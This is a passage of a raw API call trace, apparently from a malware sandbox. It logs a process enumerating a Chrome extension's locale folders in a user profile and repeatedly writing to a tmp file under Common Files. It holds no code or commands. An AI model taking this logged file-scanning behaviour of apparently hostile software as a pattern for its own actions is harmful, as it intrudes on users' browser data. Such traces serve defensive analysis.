files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.474] GetFileType (hFile=0x198) returned 0x1 [0136.474] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.474] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.474] GetLastError () returned 0x12 [0136.475] AreFileApisANSI () returned 1 [0136.475] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.475] GetFileType (hFile=0x198) returned 0x1 [0136.475] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.520] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.521] GetLastError () returned 0x12 [0136.521] AreFileApisANSI () returned 1 [0136.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.521] GetFileType (hFile=0x198) returned 0x1 [0136.521] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.521] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.521] GetLastError () returned 0x12 [0136.521] AreFileApisANSI () returned 1 [0136.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.521] GetFileType (hFile=0x198) returned 0x1 [0136.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.567] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.567] GetLastError () returned 0x12 [0136.567] AreFileApisANSI () returned 1 [0136.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.568] GetFileType (hFile=0x198) returned 0x1 [0136.568] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.614] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.615] GetLastError () returned 0x12 [0136.615] AreFileApisANSI () returned 1 [0136.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.615] GetFileType (hFile=0x198) returned 0x1 [0136.615] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.615] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.615] GetLastError () returned 0x12 [0136.615] AreFileApisANSI () returned 1 [0136.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.616] GetFileType (hFile=0x198) returned 0x1 [0136.616] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.661] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.661] GetLastError () returned 0x12 [0136.661] AreFileApisANSI () returned 1 [0136.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.662] GetFileType (hFile=0x198) returned 0x1 [0136.662] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.662] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.662] GetLastError () returned 0x12 [0136.662] AreFileApisANSI () returned 1 [0136.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0136.662] GetFileType (hFile=0x198) returned 0x1 [0136.664] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.720] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.720] GetLastError () returned 0x12 [0136.720] AreFileApisANSI () returned 1 [0136.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.720] GetFileType (hFile=0x128) returned 0x1 [0136.720] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.721] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.721] GetLastError () returned 0x12 [0136.721] AreFileApisANSI () returned 1 [0136.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.721] GetFileType (hFile=0x128) returned 0x1 [0136.721] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.771] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.771] GetLastError () returned 0x12 [0136.771] AreFileApisANSI () returned 1 [0136.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.771] GetFileType (hFile=0x128) returned 0x1 [0136.771] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.772] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.772] GetLastError () returned 0x12 [0136.772] AreFileApisANSI () returned 1 [0136.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.772] GetFileType (hFile=0x128) returned 0x1 [0136.772] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.818] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.819] GetLastError () returned 0x12 [0136.819] AreFileApisANSI () returned 1 [0136.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.819] GetFileType (hFile=0x128) returned 0x1 [0136.819] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.819] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.820] GetLastError () returned 0x12 [0136.820] AreFileApisANSI () returned 1 [0136.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.820] GetFileType (hFile=0x128) returned 0x1 [0136.820] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.864] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.864] GetLastError () returned 0x12 [0136.864] AreFileApisANSI () returned 1 [0136.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.864] GetFileType (hFile=0x128) returned 0x1 [0136.864] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.865] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.865] GetLastError () returned 0x12 [0136.865] AreFileApisANSI () returned 1 [0136.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.865] GetFileType (hFile=0x128) returned 0x1 [0136.865] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.912] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.912] GetLastError () returned 0x12 [0136.912] AreFileApisANSI () returned 1 [0136.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0136.912] GetFileType (hFile=0x128) returned 0x1 [0136.913] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865abaf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865abaf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865abaf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0136.913] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0136.913] GetLastError () returned 0x12 [0136.913] AreFileApisANSI () returned 1 [0136.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0136.913] CreateFileW 